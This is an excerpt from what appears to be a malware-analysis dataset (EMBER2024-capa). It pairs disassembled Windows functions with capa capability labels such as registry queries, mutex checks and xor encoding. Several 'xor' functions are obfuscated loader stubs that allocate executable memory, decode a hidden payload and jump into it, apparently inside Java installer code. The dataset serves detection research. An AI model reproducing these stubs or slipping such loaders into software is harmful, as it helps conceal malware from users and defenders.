joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4341d7
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x7c
mov eax, 0x4787fa
call fcn.00448ddd
mov edi, ecx
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x44]
push esi
call fcn.00433c44
xor ebx, ebx
cmp dword [ebp - 0x34], ebx
je 0x43426f
mov eax, dword [edi + 8]
lea ecx, [ebp - 0x84]
push ebx
or eax, 0x20019
push eax
lea eax, [ebp - 0x44]
push eax
push dword [edi]
call fcn.00433c76
mov esi, dword [ebp - 0x84]
add esp, 0x10
cmp dword [ebp - 0x7c], ebx
je 0x434226
mov al, byte [ebp - 0x80]
jmp 0x43425b
push ebx
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x69], bl
push eax
mov al, byte [ebp - 0x80]
push ecx
push ecx
mov ecx, esp
mov byte [ecx + 4], al
lea eax, [ebp - 0x44]
push eax
mov dword [ecx], esi
lea ecx, [ebp - 0x68]
push edi
call fcn.00433e12
mov ecx, eax
call fcn.004341d7
lea ecx, [ebp - 0x68]
mov bl, al
call fcn.0044f7eb
mov al, byte [ebp - 0x69]
mov dword [ebp - 4], 1
test al, al
je 0x434296
push esi
call fcn.00436b4f
pop ecx
jmp 0x434296
cmp dword [esi + 0x14], 0x10
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x74], ebx
jb 0x43427d
mov esi, dword [esi]
lea eax, [ebp - 0x70]
push eax
push ebx
lea eax, [ebp - 0x74]
push eax
push ebx
push esi
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x434296
mov bl, 1
lea ecx, [ebp - 0x2c]
call fcn.004049c7
lea ecx, [ebp - 0x44]
call fcn.004049c7
mov al, bl
call fcn.00448d87
ret 8
Function at 0x4345ff
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xac]
sub esp, 0xac
push 0xffffffffffffffff
push 0x4789b2
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
mov eax, dword [0x4a8068]
xor eax, ebp
mov dword [ebp + 0xa8], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x24], ebx
mov esi, dword [ebp + 0xb4]
lea ecx, [ebp + 0x78]
mov edi, dword [ebp + 0xb8]
mov eax, dword [ebp + 0xbc]
mov dword [ebp - 0x20], esi
push edi
mov dword [ebp - 0x20], eax
call fcn.00433c44
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x88], eax
je 0x43469c
push eax
lea eax, [ebp + 0x78]
push eax
push ebx
lea ecx, [ebp + 0x3c]
call fcn.00433eb1
push dword [ebp - 0x20]
lea ecx, [ebp + 0x90]
mov byte [ebp - 4], 1
push ecx
push esi
mov ecx, eax
call fcn.004345ff
lea ecx, [ebp + 0x3c]
call fcn.0044f7eb
jmp 0x434714
mov ecx, eax
mov dword [ebp - 0x10], eax
mov edx, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
mov byte [ebp - 4], 2
mov eax, edx
sub eax, ecx
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp ecx, edx
cmove ecx, eax
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x4346c5
mov eax, dword [edi]
lea edx, [ebp - 0x1c]
push edx
push ecx
push dword [ebp - 0x20]
push 0
push eax
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, eax
cmp ebx, 0xea
je 0x43474e
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
jne 0x43476b
test ebx, ebx
jne 0x43476f
test ecx, ecx
jne 0x434751
lea eax, [ebp - 0x18]
push eax
push ecx
mov ecx, eax
call fcn.00418eeb
lea eax, [ebp - 0x18]
mov ecx, esi
push eax
call fcn.00418ebe
lea ecx, [ebp - 0x18]
call fcn.0040c03a
lea ecx, [ebp + 0x90]
call fcn.004049c7
lea ecx, [ebp + 0x78]
call fcn.004049c7
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0xa8]
xor ecx, ebp
call fcn.004484c4
add ebp, 0xac
leave
ret 0xc
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
push eax
push ecx
mov ecx, eax
call fcn.00418eeb
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x24]
jmp 0x4346ad
test ebx, ebx
je 0x4346f5
push str.query_value
lea ecx, [ebp + 0x60]
call fcn.00403e12
lea ecx, [ebp]
call fcn.00403e3f
mov ecx, dword [ebp - 0x24]
push eax
push edi
lea eax, [ebp + 0x60]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp + 0x48]
push eax
call fcn.0043507c
push eax
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 5
call fcn.00426e87
push str.System_error
push ebx
mov byte [ebp - 4], 6
lea eax, [ebp - 0xd4]
push dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x30]
push eax
call fcn.00435e5f
mov edx, eax
push 0x12b
push str.Registry::getValue
push str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u281_880_install_src_windows_common_Registry.cpp
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 7
call fcn.00402dde
push eax
lea ecx, [ebp + 0x18]
call fcn.0041e178
lea eax, [ebp + 0x18]
mov dword [esp], 0x4a5da4
push eax
call fcn.0044f7eb
int3
Function at 0x434f39
Capabilities:
Delete registry value

Disassembly:
push 0x104
mov eax, 0x478b6f
call fcn.00448ddd
mov ebx, ecx
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x40]
push esi
call fcn.00433c44
cmp dword [ebp - 0x30], 0
je 0x434fd7
mov eax, dword [ebx + 8]
lea ecx, [ebp - 0x78]
push 0
or eax, 0x2001f
push eax
lea eax, [ebp - 0x40]
push eax
push dword [ebx]
call fcn.00433c76
mov edi, dword [ebp - 0x70]
add esp, 0x10
mov esi, dword [ebp - 0x78]
test edi, edi
je 0x434f87
mov al, byte [ebp - 0x74]
jmp 0x434fbc
push 0x4ab119
lea eax, [ebp - 0x28]
push eax
mov al, byte [ebp - 0x74]
push ecx
push ecx
mov ecx, esp
mov byte [ecx + 4], al
lea eax, [ebp - 0x40]
push eax
mov dword [ecx], esi
lea ecx, [ebp - 0x64]
push ebx
call fcn.00433e12
mov ecx, eax
call fcn.00434f39
lea ecx, [ebp - 0x64]
mov edi, eax
call fcn.0044f7eb
xor eax, eax
mov dword [ebp - 4], 1
test al, al
je 0x435062
push esi
call fcn.00436b4f
pop ecx
jmp 0x435062
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x434fe1
mov eax, dword [esi]
push eax
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edi, eax
test edi, edi
jne 0x435062
cmp dword [0x4ac0bc], eax
jg 0x435062
push ecx
push ecx
lea ecx, [ebp - 0x110]
call fcn.00403ead
mov edx, str.Deleted__
lea ecx, [ebp - 0x110]
call fcn.00406a2a
sub esp, 0x18
mov ecx, ebx
mov eax, esp
push esi
push eax
call fcn.00434128
lea ecx, [ebp - 0x110]
call fcn.00405461
mov esi, eax
mov edx, str.__value
mov ecx, esi
call fcn.00406a2a
push esi
push str.Registry::deleteValue
push 0x1d2
push str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u281_880_install_src_windows_common_Registry.cpp
push edi
mov ecx, 0x4ac0bc
call fcn.00402d4b
lea ecx, [ebp - 0x110]
call fcn.0044f7eb
lea ecx, [ebp - 0x28]
call fcn.004049c7
lea ecx, [ebp - 0x40]
call fcn.004049c7
mov eax, edi
call fcn.00448d87
ret 8
Function at 0x4390ad
Capabilities:
Check mutex on windows

Disassembly:
push 0xa4
mov eax, 0x47976c
call fcn.00448da9
mov edi, ecx
push str.Global_MSIExecute
xor ebx, ebx
push ebx
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
mov esi, eax
mov byte [ebp - 0x14], 1
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], ebx
test esi, esi
je 0x43915f
push edi
push esi
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov dword [ebp - 0x10], eax
test edi, edi
je 0x439158
cmp dword [0x4ac0bc], 1
jg 0x439158
push ecx
push ecx
lea ecx, [ebp - 0xb0]
call fcn.00403ead
mov edx, str.finish_waiting_for_mutex:
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xb0]
call fcn.00406a2a
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb0]
call fcn.0040581e
lea eax, [ebp - 0xb0]
mov ecx, 0x4ac0bc
push eax
push str.msi::waitForInstallationCompletion
push 0x1c8
push str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u281_880_install_src_windows_common_MsiUtils.cpp
push 1
call fcn.00402d4b
lea ecx, [ebp - 0xb0]
call fcn.0044f7eb
mov eax, dword [ebp - 0x10]
cmp eax, 0x102
je 0x439161
mov bl, 1
push esi
mov dword [ebp - 4], 3
call fcn.00436a38
pop ecx
mov al, bl
call fcn.00448d72
ret

Function at 0x43fc90
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x23c]
sub esp, 0x23c
push 0xffffffffffffffff
push 0x47aa4c
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x4a8068]
xor eax, ebp
mov dword [ebp + 0x238], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
lea eax, [ebp + 0x30]
mov dword [ebp - 0x10], edi
push eax
xor ebx, ebx
push ebx
push ebx
push 0x2c
push ebx
call dword [sym.imp.shell32.dll_SHGetFolderPathW]
test eax, eax
jne 0x43fd6a
lea eax, [ebp + 0x30]
push eax
lea ecx, [ebp]
call fcn.0041d1c7
mov esi, eax
mov dword [ebp - 4], ebx
mov ebx, str.OracleJavajava.settings.cfg
push ebx
call fcn.0044f7eb
pop ecx
push eax
push ebx
mov ecx, esi
call fcn.0044f7eb
xor ecx, ecx
mov byte [ebp - 0x10], cl
push dword [ebp - 0x10]
mov dword [ebp + 0x28], ecx
mov dword [ebp + 0x2c], ecx
lea ecx, [ebp + 0x18]
push eax
call fcn.0041d2a0
lea edx, [ebp + 0x18]
mov byte [ebp - 4], 1
mov ecx, edi
call fcn.0043f3d0
lea ecx, [ebp + 0x18]
call fcn.00419e55
lea ecx, [ebp]
call fcn.00419e55
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x238]
xor ecx, ebp
call fcn.004484c4
add ebp, 0x23c
leave
ret
push 0xc8
lea ecx, [ebp - 0x20]
call fcn.0041241e
push 0x4a5ce4
lea eax, [ebp - 0x20]
push eax
call fcn.0044f7eb
int3
Function at 0x44f7eb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x44f7fa
pop dword [ebp - 8]
mov eax, 0x20418a2a
sub eax, 0x1ffc9230
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x4b501
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x2864d13
add ecx, 0xfd79fa77
xor ebx, ebx
add ebx, eax
mov edi, 0xa74c12b5
add edi, 0x5903934b
add edi, dword [ebp - 8]
mov edx, 0xb577ef0d
sub dword [ebp - 4], ecx
mov esi, dword [edi]
sub dword [ebp - 4], 0x41c233be
xor esi, edx
sub dword [ebp - 4], esi
mov dword [ebx], esi
add dword [ebp - 4], edi
add ebx, 0x24c2f2d3
add ebx, 0xdb3d0d31
add edi, 4
loop 0x44f850
add eax, 0xf3f15d3f
add eax, 0xc0fb3bc
xor ebx, ebx
add ebx, eax
add eax, 0xd7ba6b4c
sub eax, 0xd7ba6b47
mov ecx, 0x30cced6f
sub ecx, 0x308ced6f
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1002aaee
pop dword [ebp - 0x1c]
mov eax, 0x1002aaee
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x2786b7e
sub dword [ebp - 0x2c], 0xb4262633
mov dword [ebp - 0x28], 0x4c589d4e
sub dword [ebp - 0x28], 0x1a255109
mov dword [ebp - 0x24], 0x71c96246
sub dword [ebp - 0x24], 0x257d1e18
mov dword [ebp - 0x20], 0xbabf517b
sub dword [ebp - 0x20], 0xbabf517b
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x89e3b5e7
add eax, 0x861f0a51
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xe80ec231
add dword [ebp - 0x2c], 0x8c63a725
mov dword [ebp - 0x28], 0x9f7d94dc
sub dword [ebp - 0x28], 0x5e113367
mov dword [ebp - 0x24], 0x506ba43a
add dword [ebp - 0x24], 0x1303c832
mov dword [ebp - 0x20], 0xd4add001
add dword [ebp - 0x20], 0x2b522fff
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x9d5c2f7e
sub eax, 0x8d596f56
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x36810
push 0
call eax
mov ecx, 0x96fc8a2f
sub ecx, 0x96fc420a
xor ebx, ebx
add ebx, eax
mov esi, 0xa232ff86
add esi, 0x6dd0967a
add esi, dword [ebp - 0x1c]
mov edi, 0xeca935cf
xor dword [ebp - 8], 0x802b0035
mov edx, dword [esi]
sub dword [ebp - 0x18], 0x1885a4f7
sub edx, edi
xor dword [ebp - 0x18], edx
mov dword [ebx], edx
mov dword [ebp - 0x14], 0xf97e80fe
add ebx, 4
add esi, 0x90a531f1
add esi, 0x6f5ace13
loop 0x1002ac07
add eax, 0x80865378
add eax, 0x7f7abfef
xor ebx, ebx
add ebx, eax
add eax, 0x7df1dd9
add eax, 0xf820e22c
mov ecx, 0x627098f2
sub ecx, 0x527098f2
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
push str._JAVA_LAUNCHER_DEBUG
call fcn.00408d33
pop ecx
test eax, eax
je 0x401046
push str.Windows_original_main_args:_n
call fcn.00408bef
xor esi, esi
pop ecx
cmp dword [0x425628], esi
jle 0x401046
mov eax, dword [0x42562c]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.00408bef
add esp, 0xc
inc esi
cmp esi, dword [0x425628]
jl 0x401027
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.004010d6
call fcn.0040392e
mov edi, eax
lea eax, [edi*4 + 4]
push eax
call fcn.004039b0
pop ecx
pop ecx
mov esi, eax
call fcn.00403934
xor ecx, ecx
test edi, edi
jle 0x401080
mov edx, dword [eax + ecx*8]
mov dword [esi + ecx*4], edx
inc ecx
cmp ecx, edi
jl 0x401075
mov eax, dword [0x424010]
and dword [esi + ecx*4], 0
mov ebx, eax
test eax, eax
jne 0x401091
mov ebx, dword [esi]
mov ecx, dword [0x42400c]
test ecx, ecx
jne 0x40109d
mov ecx, dword [esi]
mov eax, dword [0x425420]
push 0
push 0
push 1
test eax, eax
setne dl
movzx edx, dl
push edx
push ebx
push ecx
push 0x41c24c
push 0x41c23c
push dword [0x425424]
push 1
push eax
push 1
push esi
push edi
call fcn.00403472
add esp, 0x38
pop edi
pop esi
pop ebx
ret

Function at 0x4010d6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x4010e5
pop dword [ebp - 0x28]
mov eax, 0x4010e5
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x2f701df0
add dword [ebp - 0x38], 0x1ee2275b
mov dword [ebp - 0x34], 0x88f05f77
sub dword [ebp - 0x34], 0x56bd1332
mov dword [ebp - 0x30], 0x8c8585b
sub dword [ebp - 0x30], 0xbc7c142d
mov dword [ebp - 0x2c], 0x729cd990
sub dword [ebp - 0x2c], 0x729cd990
lea eax, [ebp - 0x38]
push eax
mov eax, 0xf755df74
add eax, 0x8ebe0dc
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x1249efaa
sub dword [ebp - 0x38], 0x9dd78654
mov dword [ebp - 0x34], 0x3c63746a
sub dword [ebp - 0x34], 0xfaf712f5
mov dword [ebp - 0x30], 0xa7859d12
sub dword [ebp - 0x30], 0x441630a6
mov dword [ebp - 0x2c], 0x17f25107
sub dword [ebp - 0x2c], 0x17f25107
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xda3a7ef7
sub eax, 0xd9f8beab
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3b4bf
push 0
call eax
mov ecx, 0x4703
mov ebx, eax
mov edx, 0xa5b3404b
sub edx, 0xa570164b
add edx, dword [ebp - 0x28]
mov edi, 0xcea53172
add edi, 0xf6d6fab7
sub dword [ebp - 0x18], 0xcaf0f9e8
mov esi, dword [edx]
xor dword [ebp - 0x18], eax
sub esi, edi
xor dword [ebp - 4], ecx
mov dword [ebx], esi
sub dword [ebp - 0x24], 0xdb3fa33b
add ebx, 4
add edx, 4
loop 0x4011fc
add eax, 0x6b63a9d4
add eax, 0x949d650b
mov ebx, eax
add eax, 0x6ac22da1
add eax, 0x953dd264
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x403e2f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x424070]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403ed2
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.004010d6
pop ecx
pop ecx
test eax, eax
je 0x403ebb
test ebx, ebx
je 0x403eaf
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.004010d6
pop ecx
pop ecx
test eax, eax
jle 0x403ebb
push ebx
call fcn.00403a18
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.004039f7
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x403e7c
xor edi, edi
cmp ebx, edi
jne 0x403ed6
xor eax, eax
jmp 0x403f42
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403f05
call fcn.00403a18
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403ed2
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403ed2
call fcn.00403a18
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403ef5
cmp dword [ebp - 0x70], edi
je 0x403f38
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.004039f7
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004098e8
add ebp, 0x9c
leave
ret
Function at 0x408f37
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x422550
call fcn.0040dcb0
xor esi, esi
cmp dword [0x4274a8], esi
jne 0x408df7
push esi
push esi
push 1
push esi
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x408e0a
mov dword [ebp - 0x1c], esi
jmp 0x408e40
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x408e05
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x408e05
cmp dword [eax + 0x400074], 0xe
jbe 0x408e05
xor ecx, ecx
cmp dword [eax + 0x4000e8], esi
setne cl
mov dword [ebp - 0x1c], ecx
call fcn.0040f80c
test eax, eax
jne 0x408e51
push 0x1c
call fcn.004010d6
pop ecx
call fcn.0040d831
test eax, eax
jne 0x408e62
push 0x10
call fcn.004010d6
pop ecx
call fcn.0040dae6
mov dword [ebp - 4], esi
call fcn.004010d6
test eax, eax
jns 0x408e7b
push 0x1b
call fcn.004010d6
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4274a4], eax
call fcn.004010d6
mov dword [0x42565c], eax
call fcn.004010d6
test eax, eax
jns 0x408ea1
push 8
call fcn.004010d6
pop ecx
call fcn.0040f1ff
test eax, eax
jns 0x408eb2
push 9
call fcn.004010d6
pop ecx
push 1
call fcn.004010d6
pop ecx
cmp eax, esi
je 0x408ec5
push eax
call fcn.004010d6
pop ecx
mov eax, dword [0x425634]
mov dword [0x425638], eax
push eax
push dword [0x42562c]
push dword [0x425628]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], esi
jne 0x408ef2
push eax
call fcn.004010d6
call fcn.00408bb3
jmp 0x408f27
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.0040dcf5
ret
call fcn.004010d6
jmp 0x408dd6

Function at 0x4098e8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424070]
jne 0x4098f2
repz ret
jmp fcn.004114ed
Function at 0x25807297
Capabilities:
Print debug messages

Disassembly:
push 0x1c
mov eax, 0x2581bb95
call fcn.2581acc1
mov eax, dword fs:[0x2c]
xor ebx, ebx
mov ecx, dword [0x25824498]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x25823cc0]
cmp eax, dword [ecx + 4]
jg 0x25807364
cmp byte [0x25823cbc], 0
je 0x2580735e
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
call fcn.258159cf
push 1
lea esi, [eax + 6]
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov edi, eax
add esp, 0x14
test edi, edi
je 0x2580735e
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
push esi
push edi
call fcn.258159cf
add esp, 0x14
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], bl
push str._nEFS:TMS:
call fcn.2580cd40
push edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 1
call fcn.2580cca0
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [ebp - 0x14]
pop ecx
cmp eax, 0x10
jb 0x2580735e
inc eax
push eax
push dword [ebp - 0x28]
call fcn.258159cf
pop ecx
pop ecx
call fcn.2581acb0
ret
mov edi, 0x25823cc0
push edi
call fcn.258159cf
cmp dword [0x25823cc0], 0xffffffff
pop ecx
jne 0x258072c5
mov eax, dword [0x25823df0]
mov dword [ebp - 4], ebx
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x2581d220]
call esi
test al, al
je 0x258073c2
mov eax, dword [0x258240cc]
push ebx
push str.enableTMSLogging
push 0x2581db80
mov esi, dword [eax + 0x5a8]
mov ecx, esi
call dword [0x2581d220]
call esi
add esp, 0xc
test ax, ax
mov al, 1
jne 0x258073c6
jmp 0x258073c2
mov al, bl
jmp 0x258073c6
or dword [ebp - 4], 0xffffffff
push edi
mov byte [0x25823cbc], al
call fcn.258159cf
pop ecx
jmp 0x258072c5
Function at 0x258159cf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x258159de
pop dword [ebp - 0x48]
mov eax, 0x258159de
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xe6749bbc
add dword [ebp - 0x58], 0x67dda98f
mov dword [ebp - 0x54], 0xa1fd5b99
sub dword [ebp - 0x54], 0x6fca0f54
mov dword [ebp - 0x50], 0xf0c27675
add dword [ebp - 0x50], 0x5b89cdb9
mov dword [ebp - 0x4c], 0xe5af0341
add dword [ebp - 0x4c], 0x1a50fcbf
lea eax, [ebp - 0x58]
push eax
mov eax, 0xe214ceab
sub eax, 0xbc92fe67
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x43d45869
sub dword [ebp - 0x58], 0xcf61ef13
mov dword [ebp - 0x54], 0xae1c6ffc
sub dword [ebp - 0x54], 0x6cb00e87
mov dword [ebp - 0x50], 0x93a2efdd
sub dword [ebp - 0x50], 0x30338371
mov dword [ebp - 0x4c], 0x2e5b3c37
sub dword [ebp - 0x4c], 0x2e5b3c37
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x39f3e
push 0
call eax
mov ecx, 0x2eb13571
sub ecx, 0x2eb0f7fa
mov edi, eax
mov ebx, 0x25829600
add ebx, dword [ebp - 0x48]
mov esi, 0xea26b760
add esi, 0xec20c23f
add dword [ebp - 4], esi
mov edx, dword [ebx]
xor dword [ebp - 0x44], 0x829d9817
xor edx, esi
sub dword [ebp - 0x14], 0x7c8884f8
mov dword [edi], edx
add edi, 0x11aa35ba
sub edi, 0x11aa35b6
add ebx, 0x1447f7ad
sub ebx, 0x1447f7a9
loop 0x25815af0
add eax, 0xf8f58b32
add eax, 0x70b5d7d
mov ebx, eax
add eax, 0x8016b138
add eax, 0x7fe94ecd
mov ecx, 0x296487db
add ecx, 0xfc1b7825
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x4032a0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x405076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x405258], eax
mov dword [0x4051e0], 0x402b80
mov dword [0x4051dc], 2
jmp 0x4032d0
mov dword [0x4051e4], 0
mov dword [0x4051e8], 0
mov dword [0x4051d8], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4051ec], eax
mov dword [0x405200], 0x404080
mov dword [0x4051f8], 0xf
mov dword [0x40506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4051f0], eax
mov dword [0x405204], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4051f4], eax
push 0x4051d8
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405250], eax
push 5
push dword [0x405250]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405250]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x4033a3
push 0
push 0
push 0
push 0x405208
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x4033d0
push 0x405208
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x405208
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x4033a3
mov eax, dword [0x405210]
jmp 0x4033dd
call 0x402474
ret